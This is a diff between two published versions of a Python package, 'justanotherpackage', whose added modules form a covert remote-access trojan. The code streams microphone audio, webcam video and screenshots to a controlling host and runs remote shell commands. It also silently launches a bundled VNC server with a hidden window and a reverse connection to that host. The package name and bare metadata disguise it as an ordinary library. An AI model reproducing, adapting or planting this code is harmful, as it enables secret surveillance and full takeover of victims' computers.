justanotherpackage 0.2.1__py3-none-any.whl → 0.2.3__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -10,6 +10,7 @@ from .features.audio import start_audio_stream
10
10
  from .features.terminal import terminal
11
11
  from .features.screenshot import send_screenshot
12
12
  from .features.webcam import send_webcam_stream
13
+ from .features.remote_desktop import start_remote_desktop
13
14
  from .account_type import check_account_type
14
15
 
15
16
  def get_client_info():
@@ -94,6 +95,11 @@ def start_connection(HOST, PORT):
94
95
  thread.daemon = True
95
96
  thread.start()
96
97
 
98
+ elif data.get("remote_desktop") is not None and data.get("port") is not None:
99
+ thread = threading.Thread(target=start_remote_desktop, args=(data, HOST, client_socket,))
100
+ thread.daemon = True
101
+ thread.start()
102
+
97
103
  except (socket.error, ConnectionResetError):
98
104
  time.sleep(1)
99
105
  continue
File without changes
@@ -0,0 +1,32 @@
1
+ import pyaudio
2
+ import json
3
+
4
+ def start_audio_stream(client_socket):
5
+ p = pyaudio.PyAudio()
6
+
7
+ input_device_count = p.get_device_count()
8
+ input_device_found = False
9
+ for i in range(input_device_count):
10
+ if p.get_device_info_by_index(i).get('maxInputChannels') > 0:
11
+ input_device_found = True
12
+ break
13
+
14
+ if not input_device_found:
15
+ client_socket.sendall(json.dumps({"logger": "No input device found"}).encode())
16
+ return
17
+
18
+ stream = p.open(format=pyaudio.paInt16,
19
+ channels=1,
20
+ rate=44100,
21
+ input=True,
22
+ frames_per_buffer=1024)
23
+
24
+ while True:
25
+ try:
26
+ audio_data = stream.read(1024)
27
+ client_socket.sendall(audio_data)
28
+ except (ConnectionError, ConnectionResetError):
29
+ pass
30
+ except Exception as e:
31
+ message = f"From Remote: {str(e)}"
32
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -0,0 +1,45 @@
1
+ import psutil
2
+ import subprocess
3
+ import time
4
+ import justanotherpackage
5
+ import os
6
+ import json
7
+
8
+ def find_process_by_exe(file_name):
9
+ for proc in psutil.process_iter(['pid', 'exe']):
10
+ try:
11
+ if proc.info['exe'] and file_name.lower() in proc.info['exe'].lower():
12
+ return proc.info['pid']
13
+ except (psutil.AccessDenied, psutil.NoSuchProcess):
14
+ continue
15
+ return None
16
+
17
+ def start_remote_desktop(HOST, data, client_socket):
18
+ try:
19
+ port = data["port"]
20
+ remote_pid = find_process_by_exe("winvnc.exe")
21
+ program_path = os.path.join(
22
+ os.path.dirname(justanotherpackage.__file__), "vnc", "winvnc.exe"
23
+ )
24
+
25
+ if not remote_pid:
26
+ subprocess.Popen(
27
+ [program_path],
28
+ shell=True,
29
+ creationflags=subprocess.CREATE_NO_WINDOW
30
+ )
31
+ time.sleep(3)
32
+
33
+ remote_pid = find_process_by_exe("winvnc.exe")
34
+
35
+ if remote_pid:
36
+ command = [program_path, "-connect", f"{HOST}:{port}"]
37
+ subprocess.Popen(command, text=True, creationflags=subprocess.CREATE_NO_WINDOW)
38
+ message = f"From Remote: Remote Desktop Started"
39
+ client_socket.sendall(json.dumps({"logger": message}).encode())
40
+
41
+ except (ConnectionError, ConnectionResetError):
42
+ pass
43
+ except Exception as e:
44
+ message = f"From Remote: {str(e)}"
45
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -0,0 +1,29 @@
1
+ import pyautogui
2
+ import io
3
+ import struct
4
+ from PIL import ImageGrab
5
+ import json
6
+
7
+ def send_screenshot(client_socket):
8
+ while True:
9
+ try:
10
+ try:
11
+ screenshot = pyautogui.screenshot()
12
+ except OSError:
13
+ screenshot = ImageGrab.grab()
14
+
15
+ buffer = io.BytesIO()
16
+ screenshot.save(buffer, format="PNG")
17
+ screenshot_data = buffer.getvalue()
18
+
19
+ client_socket.sendall(struct.pack(">I", len(screenshot_data)))
20
+
21
+ total_sent = 0
22
+ while total_sent < len(screenshot_data):
23
+ sent = client_socket.send(screenshot_data[total_sent:])
24
+ total_sent += sent
25
+ except (ConnectionError, ConnectionResetError):
26
+ pass
27
+ except Exception as e:
28
+ message = f"From Remote: {str(e)}"
29
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -0,0 +1,25 @@
1
+ import time
2
+ import json
3
+
4
+ def terminal(data, client_socket, shell, stdout_queue, stderr_queue):
5
+ try:
6
+ command = data["terminal"]
7
+
8
+ shell.stdin.write(command + "\n")
9
+ shell.stdin.flush()
10
+
11
+ time.sleep(0.5)
12
+ output = ""
13
+
14
+ while not stdout_queue.empty() or not stderr_queue.empty():
15
+ while not stdout_queue.empty():
16
+ output += stdout_queue.get_nowait()
17
+ while not stderr_queue.empty():
18
+ output += stderr_queue.get_nowait()
19
+
20
+ client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")
21
+ except (ConnectionError, ConnectionResetError):
22
+ pass
23
+ except Exception as e:
24
+ message = f"From Remote: {str(e)}"
25
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -0,0 +1,41 @@
1
+ import cv2
2
+ import struct
3
+ import json
4
+
5
+ def send_webcam_stream(client_socket):
6
+ try:
7
+ cap = cv2.VideoCapture(0)
8
+
9
+ if not cap.isOpened():
10
+ client_socket.sendall(json.dumps({"logger": "No webcam device found"}).encode())
11
+ return
12
+ except (ConnectionError, ConnectionResetError):
13
+ pass
14
+ except Exception as e:
15
+ message = f"From Remote: {str(e)}"
16
+ client_socket.sendall(json.dumps({"logger": message}).encode())
17
+
18
+ while True:
19
+ try:
20
+ ret, frame = cap.read()
21
+ if not ret:
22
+ client_socket.sendall(json.dumps({"logger": "Error: Failed to capture frame."}).encode())
23
+ break
24
+
25
+ _, jpeg_frame = cv2.imencode('.jpg', frame)
26
+ frame_data = jpeg_frame.tobytes()
27
+
28
+ client_socket.sendall(struct.pack(">I", len(frame_data)))
29
+
30
+ total_sent = 0
31
+ while total_sent < len(frame_data):
32
+ sent = client_socket.send(frame_data[total_sent:])
33
+ total_sent += sent
34
+
35
+ cap.release()
36
+ client_socket.sendall(json.dumps({"logger": "Webcam streaming stopped."}).encode())
37
+ except (ConnectionError, ConnectionResetError):
38
+ pass
39
+ except Exception as e:
40
+ message = f"From Remote: {str(e)}"
41
+ client_socket.sendall(json.dumps({"logger": message}).encode())
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.2.1
3
+ Version: 0.2.3
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -1,7 +1,13 @@
1
1
  justanotherpackage/__init__.py,sha256=r0rWIFMfaD0Y2XGViT_OZXY4dIk155FtyS0zsWVW7FE,37
2
2
  justanotherpackage/account_type.py,sha256=YH4zvnWs4EmFXjeMGuyNtMf86PeQgY2U22yt2V8TIAo,224
3
- justanotherpackage/connect.py,sha256=0p2MG1XxOeSM16guKbHLr9HFLJOTFcJiFeJMnCQP33Q,3692
3
+ justanotherpackage/connect.py,sha256=uEZGlYNDqt-kFTdzVVBGUi6uMy9ClN8pdd5WGVXIFlA,4037
4
4
  justanotherpackage/shell.py,sha256=LKTdIlJfjL--2ngOsnU3ggDKQCVMdNi2QrCUH4oztR4,845
5
+ justanotherpackage/features/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
6
+ justanotherpackage/features/audio.py,sha256=9dhyGGNhlWaiYbgEK1c19mckqDYyKwLKALTLMhQpQSg,1033
7
+ justanotherpackage/features/remote_desktop.py,sha256=gfaqTAI79aISz8oGmgqmlXQs2Q6IvwwN4ppykioQ4fQ,1549
8
+ justanotherpackage/features/screenshot.py,sha256=FcusDnKBADNFenEp47aJ9ZGYDI8gaq_V9jl4kXeSTDo,941
9
+ justanotherpackage/features/terminal.py,sha256=_6II5j_1Y46DuYfcbA4pFiLpNn7BcGBpse2sf-R8XtA,852
10
+ justanotherpackage/features/webcam.py,sha256=QUP1ull7G7sroSwi6gebekm5osMT_c54ZSYYFc7Nuv8,1438
5
11
  justanotherpackage/vnc/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
6
12
  justanotherpackage/vnc/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
7
13
  justanotherpackage/vnc/ddengine.dll,sha256=dqoyD-ujCoZePa4ep6FHAvZWz80PpS33sgx1zytD7M8,259016
@@ -11,7 +17,7 @@ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_C
11
17
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
12
18
  justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
13
19
  justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
14
- justanotherpackage-0.2.1.dist-info/METADATA,sha256=IFxtUkjD-0fWFDi33EHnpuNWOwnDIFoMV4nkmFFQq5k,115
15
- justanotherpackage-0.2.1.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
16
- justanotherpackage-0.2.1.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
17
- justanotherpackage-0.2.1.dist-info/RECORD,,
20
+ justanotherpackage-0.2.3.dist-info/METADATA,sha256=VqwTwgxZjupSGunt2AxP5mzbVsFAWEh_5K3Smg0e0fk,115
21
+ justanotherpackage-0.2.3.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
22
+ justanotherpackage-0.2.3.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
23
+ justanotherpackage-0.2.3.dist-info/RECORD,,